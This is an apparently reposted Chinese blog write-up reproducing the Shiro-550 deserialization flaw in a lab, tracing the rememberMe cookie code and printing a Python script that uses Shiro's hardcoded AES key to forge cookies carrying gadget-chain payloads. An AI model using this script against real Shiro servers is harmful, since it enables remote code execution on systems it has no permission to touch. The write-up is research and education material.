shiro550 分析复现

news/2025/1/16 7:36:41/文章来源:https://www.cnblogs.com/meraklbz/p/18674067

shiro是java中用来处理鉴权问题的组件,提供了快捷的用户鉴权认证功能.在shrio版本低于1.2.24的时候存在shiro550漏洞,我们clone一个P牛的项目去进行实验测试.实验环境为java8u65
看一下项目添加的依赖:

<dependencies><dependency><groupId>org.apache.shiro</groupId><artifactId>shiro-core</artifactId><version>1.2.4</version></dependency><dependency><groupId>org.apache.shiro</groupId><artifactId>shiro-web</artifactId><version>1.2.4</version></dependency><dependency><groupId>javax.servlet</groupId><artifactId>javax.servlet-api</artifactId><version>3.1.0</version><scope>provided</scope></dependency><dependency><groupId>javax.servlet.jsp</groupId><artifactId>jsp-api</artifactId><version>2.2</version><scope>provided</scope></dependency><!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency><!-- https://mvnrepository.com/artifact/commons-logging/commons-logging --><dependency><groupId>commons-logging</groupId><artifactId>commons-logging</artifactId><version>1.2</version></dependency><dependency>  <groupId>commons-beanutils</groupId>  <artifactId>commons-beanutils</artifactId>  <version>1.8.3</version>  </dependency><dependency><groupId>org.slf4j</groupId><artifactId>slf4j-api</artifactId><version>1.7.30</version></dependency><dependency><groupId>org.slf4j</groupId><artifactId>slf4j-simple</artifactId><version>1.7.30</version></dependency></dependencies>

shiro550漏洞成因

我们在用户登录的时候去勾选rememberMe选项,发送服务端给我们设置了一个特别长的Cookie.
image

这种东西一眼就不正常.而实际上,shiro550漏洞也正是因为这个rememberMe产生的.当我们发送这个rememberMe以后,shiro会对这个字段进行AES解码,然后去进行反序列化.这就有可能导致反序列化漏洞.在shiro550版本以下,这个AES的key是硬编码在代码中的,因此可以被直接破解,去伪造cookie进行反序列化攻击.
下面是具体的解释.

CookieRememberMeManager

全局搜Cookie,找到一个名字像是相关功能的类.我们来看他的getRememberedSerializedIdentity方法.

protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {if (!WebUtils.isHttp(subjectContext)) {if (log.isDebugEnabled()) {String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a servlet request and response in order to retrieve the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";log.debug(msg);}return null;} else {WebSubjectContext wsc = (WebSubjectContext)subjectContext;if (this.isIdentityRemoved(wsc)) {return null;} else {HttpServletRequest request = WebUtils.getHttpRequest(wsc);HttpServletResponse response = WebUtils.getHttpResponse(wsc);String base64 = this.getCookie().readValue(request, response);if ("deleteMe".equals(base64)) {return null;} else if (base64 != null) {base64 = this.ensurePadding(base64);if (log.isTraceEnabled()) {log.trace("Acquired Base64 encoded identity [" + base64 + "]");}byte[] decoded = Base64.decode(base64);if (log.isTraceEnabled()) {log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");}return decoded;} else {return null;}}}}

大概可以看到,这个方法大体的功能是对Cookie中的rememberMe字段进行base64解密.那么一定是有什么方法调用了这个方法来进行的.我们去查看这个类继承的抽象类.

AbstractRememberMeManager

在这个类中,getRememberedSerializedIdentity是一个抽象方法,查找发现这个抽象方法在getRememberedPrincipals被调用.

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {  PrincipalCollection principals = null;  try {  byte[] bytes = this.getRememberedSerializedIdentity(subjectContext);  if (bytes != null && bytes.length > 0) {  principals = this.convertBytesToPrincipals(bytes, subjectContext);  }  } catch (RuntimeException var4) {  RuntimeException re = var4;  principals = this.onRememberedPrincipalFailure(re, subjectContext);  }  return principals;  
}

在这个方法中调用了convertBytesToPrincipals方法,跟过去看看.

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {if (this.getCipherService() != null) {bytes = this.decrypt(bytes);}return this.deserialize(bytes);}

其中就调用了decrypt方法和deserialize方法.剩下的就是去分析crypt方法给出的加密方式,这个就没去分析.
网上找了个python脚本,去对序列化的结果进行aes加密并base64编码.

from email.mime import base
from pydoc import plain
import sys
import base64
from turtle import mode
import uuid
from random import Random
from Crypto.Cipher import AESdef get_file_data(filename):with open(filename, 'rb') as f:data = f.read()return datadef aes_enc(data):BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))return ciphertextdef aes_dec(enc_data):enc_data = base64.b64decode(enc_data)unpad = lambda s: s[:-s[-1]]key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCiv = enc_data[:16]encryptor = AES.new(base64.b64decode(key), mode, iv)plaintext = encryptor.decrypt(enc_data[16:])plaintext = unpad(plaintext)return plaintextif __name__ == "__main__":data = get_file_data("cc1.bin")print(aes_enc(data))

漏洞利用

urldns链

既然有反序列化漏洞,那么首先必然是能打URLDNS链的.测了一下,确实是能打通.

cc链

接下来看cc链,由于存在commons-collections3.2.1,因此认为理论上是可以打通所有版本的cc链的,然而实际上发现存在问题.
跟随异常处断点来到ClassResolvingObjectInputStream类的resolveClass方法.

protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {try {return ClassUtils.forName(osc.getName());} catch (UnknownClassException var3) {UnknownClassException e = var3;throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);}}

ClassResolvingObjectInputStream类继承自ObjectInputStream类,并且重写了resolveClass方法.来看一下ObjectInputSream类的resolveClass方法.

protected Class<?> resolveClass(ObjectStreamClass desc)throws IOException, ClassNotFoundException{String name = desc.getName();try {return Class.forName(name, false, latestUserDefinedLoader());} catch (ClassNotFoundException ex) {Class<?> cl = primClasses.get(name);if (cl != null) {return cl;} else {throw ex;}}}

可以看到这里是使用Class.forName去获取Class对象的.而在ClassResolvingObjectInputStream中使用ClassUtils.forName去获取Class对象,这个方法传入的参数不能是数组,因此我们如果传入了Transformer数组会出现报错.
解决方式:使用cc11链打.测试发现可以正常的打通.
image

cb链

commons-beanutils的1.8.3的依赖,显然是可以打通的.那么加入我们删去这个依赖还能打通吗,经过测试发现还是成功打通了,这就很有意思.
image

一看依赖发现了问题,原来是shiro中自己引入了commons-beanutils的1.8.3的依赖.
image

因此只要是1.2.24版本以下的shiro,都是可以直接用cb1打通的.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/869974.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

手摸手实战前端项目CI CD

由于图片和格式解析问题,为了更好阅读体验可前往 阅读原文CI/CD 是 持续集成(Continuous Integration) 和 持续交付/部署(Continuous Delivery/Continuous Deployment) 的缩写,是现代软件开发中的一种自动化方法论,用于加速代码交付和部署的流程,同时保证代码质量和稳定…

读量子霸权05量子计算机种类

量子计算机有多种设计,包括超导、离子阱、光量子、硅光子、拓扑等,各有优缺点。IBM、谷歌等公司发布量子计算机,光量子计算机有望超越其他类型。D-Wave量子计算机在优化领域表现出色。1. 竞赛 1.1. 能够有效发挥作用的计算机体系结构不止一种 1.2. 图灵机就是在可应用于广泛…

dotnet C# 在不同的机器 CPU 型号上的基准性能测试

本文将记录我在多个不同的机器上,在不同的 CPU 型号上,执行相同的我编写的 dotnet 的 Benchmark 的代码,测试不同的 CPU 型号对 C# 系的优化程度。本文非严谨测试,数值只有相对意义以下是我的测试结果,对应的测试代码放在 github 上,可以在本文末尾找到下载代码的方法 我…

dotnet 对一些 Win32 方法进行 Benchmark 基准性能测试

本文记录对一些 Win32 方法进行 Benchmark 基准性能测试本文非严谨测试,仅在我开发机器进行测试,没有在纯净系统和机器上进行测试 开始之前的说明: 本文使用的是 BenchmarkDotNet 进行测试,没有考虑 AOT 之后的调用性能,仅仅只是 Release 版本的 dotnet 程序的调用而已 数…

洞悉图数据库:构建未来的基石

代码无法创建多段文本或复杂格式内容在实际情况下你可能会利用多行样式设置图像和链接来增强一个网站页面但…………HTML</no value> 代码无法创建多段文本或复杂格式内容。在实际情况下,你可能会利用多行、样式设置、图像和链接来增强一个网站页面,但我能给你提供关于…

在外漂泊的这几年总结和感悟,展望未来

大家好,我加入博客园已经七年了。我是在2017年参加国内第一份全职实习时创建了博客园账号,读了求救信,并最近并办理了园子会员。希望博客园越来越好!最后想说一句:“其他er 和 .NETer,大家不要再打了,一起合作,共同拯救园子吧!” 在国内的日子 我在2017年至2018年国内…

使用python实现tcp通信

TCP协议使服务器和客户端通过socket进行通信服务器端通信流程如下: 1.使用socket类创建一个套接字对象 2.使用bind(ip,port)方法绑定IP地址和端口号 3.使用listen()方法开始TCP监听 4.使用accept0方法等待客户端的连接 5.使用recv0/send0方法接收/发送数据 6.使用close0关闭套…

使用python实现tcp一次通信

TCP协议使服务器和客户端通过socket进行通信服务器端通信流程如下: 1.使用socket类创建一个套接字对象 2.使用bind(ip,port)方法绑定IP地址和端口号 3.使用listen()方法开始TCP监听 4.使用accept0方法等待客户端的连接 5.使用recv0/send0方法接收/发送数据 6.使用close0关闭套…

树莓派Linux安装usb摄像头/打印机

设备HP IR Camara USB\VID_04F2&PID_B634&REV_0012&MI_02 HP Wide Vision FHD Camera USB\VID_04F2&PID_B634&REV_0012&MI_00 USB小票机 USB\VID_0471&PID_0055&REV_0100lsusb 命令列出设备 插入设备前 alex@raspberrypi:~ $ lsusb Bus 002 De…

How to fix Raspberry Pi 中使用 Vim 显示 UTF-8 字符 Emoji 中文乱码 bug All In One

How to fix Raspberry Pi 中使用 Vim 显示 UTF-8 字符 Emoji 中文乱码 bug All In OneHow to fix Raspberry Pi 中使用 Vim 显示 UTF-8 字符 Emoji 中文乱码 bug All In One errorssolutions $ cat /etc/locale.gen$ sudo vim /etc/locale.gen # 1. 开启 zh_CN.UTF-8 UTF-8, 即…

ciscn_2019_ne_5

先让我们输入s1,如果不是administrator程序将退出。 然后输入1会让我们输入src(限制读入128个字符)输入2会展示我们输入的src,输入3有个system 输入4会将src拷贝到dest里面,注意到strcpy没有限制,而dest离ebp为0x48,而src最多可以输入128.所以我们可以利用这个进行栈溢出…

基于Retinex算法的图像去雾matlab仿真

1.算法运行效果图预览 (完整程序运行后无水印) 2.算法运行软件版本 matlab2022a3.部分核心程序 (完整版代码包含详细中文注释和操作步骤视频)%卷积滤波 R_conv3 = imfilter(Img1_RN,e,conv, replicate); % 对红色分量进行第三次卷积滤波 G_conv3 = imfilter(Img1_RG,e,conv,…